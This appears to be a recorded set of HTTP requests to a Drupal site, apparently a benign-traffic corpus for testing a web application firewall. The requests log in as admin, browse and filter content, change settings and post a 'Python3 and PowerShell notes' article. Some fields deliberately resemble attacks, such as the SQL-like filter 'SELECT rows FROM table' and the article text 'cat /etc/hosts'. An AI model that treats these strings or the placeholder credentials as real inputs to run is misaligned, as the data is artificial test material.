{"method": "GET", "target": "/admin/content/files?filename=SELECT%20rows%20FROM%20table&filemime=&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/media?name=SELECT%20rows%20FROM%20table&type=All&status=All&langcode=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/block?info=SELECT%20rows%20FROM%20table&type=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content/comment?subject=SELECT%20rows%20FROM%20table&author_name=", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/add/article", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/add/page", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/revisions", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/python3-notes", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/edit?destination=/admin/content%3Ftitle%3Dpython3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/1/delete?destination=/admin/content", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/node/2", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/taxonomy/term/1", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=python3", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/admin/content?title=python3+tutorial&type=All&status=All", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/content", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/user/logout/confirm", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/logout/confirm", "Cookie: SESSexample=example-session-value"], "body": "confirm=1&form_build_id=form-wNgbewUygC9ULMoc4WLVpiOljzg8b-UFbevQU1lKKvE&form_token=PQZYrhskFDg3-YXEJlI1LMqcsi5g2Caq1winJy1aiTc&form_id=user_logout_confirm&op=Log+out"}
|
||||
{"method": "POST", "target": "/user/login", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/user/login"], "body": "name=admin&pass=example-password-1&form_build_id=form-PFgoUZSU-B2s6Yi6wsv6gMF8hyctFZ4jGpnB1KbbKuc&form_id=user_login_form&op=Log+in"}
|
||||
{"method": "POST", "target": "/admin/modules", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/modules", "Cookie: SESSexample=example-session-value"], "body": "text=&form_build_id=form-Go6Ty-vaNH5prRcXZPri8UInSJEfkCpFomJ5z7FIJeA&form_token=dpSXO0ij0wI2RSPBdwAf24WP27sJX5XdMsyNckiHRYQ&form_id=system_modules&op=Install"}
|
||||
{"method": "POST", "target": "/admin/config/services/jsonapi", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/admin/config/services/jsonapi", "Cookie: SESSexample=example-session-value"], "body": "read_only=rw&form_build_id=form-kZj8LFAOUYdKbamTIGwQWGeUPyZ9Pl_o7NMqCuQgRNA&form_token=U9cEhbE1Jq8CgS_JsoF1uTGkum0lp1R9dR05PQpXVIk&form_id=jsonapi_settings&op=Save+configuration"}
|
||||
{"method": "POST", "target": "/contextual/render?theme=claro", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/admin/content/comment", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=entity.view.edit_form%3Aview%3Dcomment%3Alocation%3Dpage%26name%3Dcomment%26display_id%3Dpage_published%26langcode%3Den&tokens%5B%5D=tJYB9Yp9K7KoqCw51MrweOw1EWlIhkKnWWiqWfZwOBk"}
|
||||
{"method": "POST", "target": "/admin/structure/menu/parents", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/types/manage/article", "Cookie: SESSexample=example-session-value"], "body": "menus%5B%5D=main"}
|
||||
{"method": "POST", "target": "/admin/structure/views/view/content/preview/page_1?_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/admin/structure/views/view/content", "Cookie: SESSexample=example-session-value"], "body": "live_preview=1&view_args=&form_build_id=form-YRTiLLJme3R_EAzYjDmEPFge7ba8Rqcr0e4ufPocUHA&form_token=aoWE2rnl7MeEF8CixG6jr69agDcL4EYtVBLeif_2MmI&form_id=view_preview_form&_triggering_element_name=op&_triggering_element_value=Update+preview&_drupal_ajax=1&ajax_page_state%5Btheme%5D=claro&ajax_page_state%5Btheme_token%5D=9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk&ajax_page_state%5Blibraries%5D=eJxVjlEKgzAQBS9kkiOVF13CtuuuJBurPX1LbRH_hmF4vMzltvBCKf9gGAXVUhHLkNB8F9YyjKZOm3dImmpfIPE04VM82ieplEabF1NSb1GxcoGzaQhuJhk15O5ueqS_HYzOK303Ln5iiJWIO7aLbw6ndlGOLDRVlMOq1RnCLxrOC-nEKNit-7AyPdutc_pDxDSzvgGedGns"}
|
||||
{"method": "POST", "target": "/ckeditor5/upload-image/basic_html?token=Sus-IXsV0UwqrRe2_CrWc-iHgk_6pDumClZIZ6i-Wu0", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "Accept: application/json", "0: text/javascript", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAcXJMZbPBLzalDiX", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundaryAcXJMZbPBLzalDiX\r\nContent-Disposition: form-data; name=\"upload\"; filename=\"photo.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundaryAcXJMZbPBLzalDiX--\r\n"}
|
||||
{"method": "POST", "target": "/node/add/article?element_parents=field_image/widget/0&ajax_form=1&_wrapper_format=drupal_ajax", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0Ba7aU6AsCP0MAhK", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-LT5Y5U-7qf8iSfEX4mtEU7w-26XnFEmjxTB6AGmAKpw\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"files[field_image_0]\"; filename=\"python3-diagram.png\"\r\nContent-Type: image/png\r\n\r\nPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0006\u0000\u0000\u0000\u001f\u0015Ä\u0000\u0000\u0000\rIDATxÚcd`ø_\u000f\u0000\u0002\u0001ëGº\u0000\u0000\u0000\u0000IEND®B`\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_name\"\r\n\r\nfield_image_0_upload_button\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_triggering_element_value\"\r\n\r\nUpload\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"_drupal_ajax\"\r\n\r\n1\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme]\"\r\n\r\nclaro\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[theme_token]\"\r\n\r\n9R7R5tkIUlJUOLq74Y2Ibs3Vzk97sOkPnSer_Xb74Kk\r\n------WebKitFormBoundary0Ba7aU6AsCP0MAhK\r\nContent-Disposition: form-data; name=\"ajax_page_state[libraries]\"\r\n\r\neJyNU0luwzAM_JBln_qBAsmpQJ8Q0Aptq6FERaLSJq-vVG9ZevDJ5HA4JEdwa_qDNx6bdgoqfcKjEQ5vjXGCwQHVx5B8_iyVLZxa8xHfifVpExutHyCauIk8iKWd643btG1tLPTbmAItZSZB4KbjYJV8s9JMybo4wT1xC6SiXMm4vtJsLTppZqkxzXCe8SMJaK3MLine truncated
|
||||
{"method": "GET", "target": "/sites/default/files/styles/thumbnail/public/2026-11/python3-diagram.png.avif?itok=Oi6kqsz7", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "GET", "target": "/entity_reference_autocomplete/taxonomy_term/default%3Ataxonomy_term/N5jux6RugFa9-QOKzy0aUSVM4RQohzzwpEObdpBNOxc?q=docker-compose.yml", "headers": ["Host: example.com", "X-Requested-With: XMLHttpRequest", "Accept-Language: en-US,en;q=0.9", "Accept: application/json, text/javascript, */*; q=0.01", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/node/add/article", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundarys6Wog4PIiyr6c8nk", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/article", "Cookie: SESSexample=example-session-value"], "body": "------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"changed\"\r\n\r\n1794214637\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"title[0][value]\"\r\n\r\nPython3 and PowerShell notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_build_id\"\r\n\r\nform-GIwPSC0mk5OfJnBDDPrIGJXA59_fo-i-i4rc6hLJ2zo\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_token\"\r\n\r\nHAq_JMl1Tn3xeTNd4PzFsSkcbDhCFjHl2uV2RZpF2H8\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"form_id\"\r\n\r\nnode_article_form\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][alt]\"\r\n\r\nA python3 diagram\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_image[0][fids]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][summary]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][value]\"\r\n\r\n<p>Run ls -la in python3 and cat /etc/hosts on the box. See docker-compose.yml.</p><p>Second paragraph of ordinary words, with a list.<img data-entity-uuid=\"6e465287-5af3-436f-92e8-199fce782a2e\" data-entity-type=\"file\" src=\"/sites/default/files/inline-images/photo.png\" width=\"1\" height=\"1\"></p>\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"body[0][format]\"\r\n\r\nbasic_html\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"field_tags[target_id]\"\r\n\r\npython3, powershell, docker-compose.yml\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"revision_log[0][value]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[title]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[description]\"\r\n\r\n\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[menu_parent]\"\r\n\r\nmain:\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"menu[weight]\"\r\n\r\n0\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"comment[0][status]\"\r\n\r\n2\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"path[0][alias]\"\r\n\r\n/python3-notes\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"uid[0][target_id]\"\r\n\r\nadmin (1)\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][date]\"\r\n\r\n2026-11-09\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"created[0][value][time]\"\r\n\r\n08:57:17\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"promote[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"status[value]\"\r\n\r\n1\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk\r\nContent-Disposition: form-data; name=\"op\"\r\n\r\nSave\r\n------WebKitFormBoundarys6Wog4PIiyr6c8nk--\r\n"}
|
||||
{"method": "GET", "target": "/sites/default/files/styles/wide/public/2026-11/python3-diagram.png.avif?itok=zatrIDi8", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": ""}
|
||||
{"method": "POST", "target": "/contextual/render?theme=olivero", "headers": ["Host: example.com", "Accept-Language: en-US,en;q=0.9", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Content-Type: application/x-www-form-urlencoded;charset=UTF-8", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/python3-notes", "Cookie: SESSexample=example-session-value"], "body": "ids%5B%5D=node%3Anode%3D1%3Achanged%3D1794214658%26langcode%3Den&tokens%5B%5D=P1IJAagXdZ3uwIjUq2LBL0UYnJGTwcH1OA3KvfqFqg4"}
|
||||
{"method": "POST", "target": "/node/add/page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Origin: http://example.com", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/node/add/page", "Cookie: SESSexample=example-session-value"], "body": 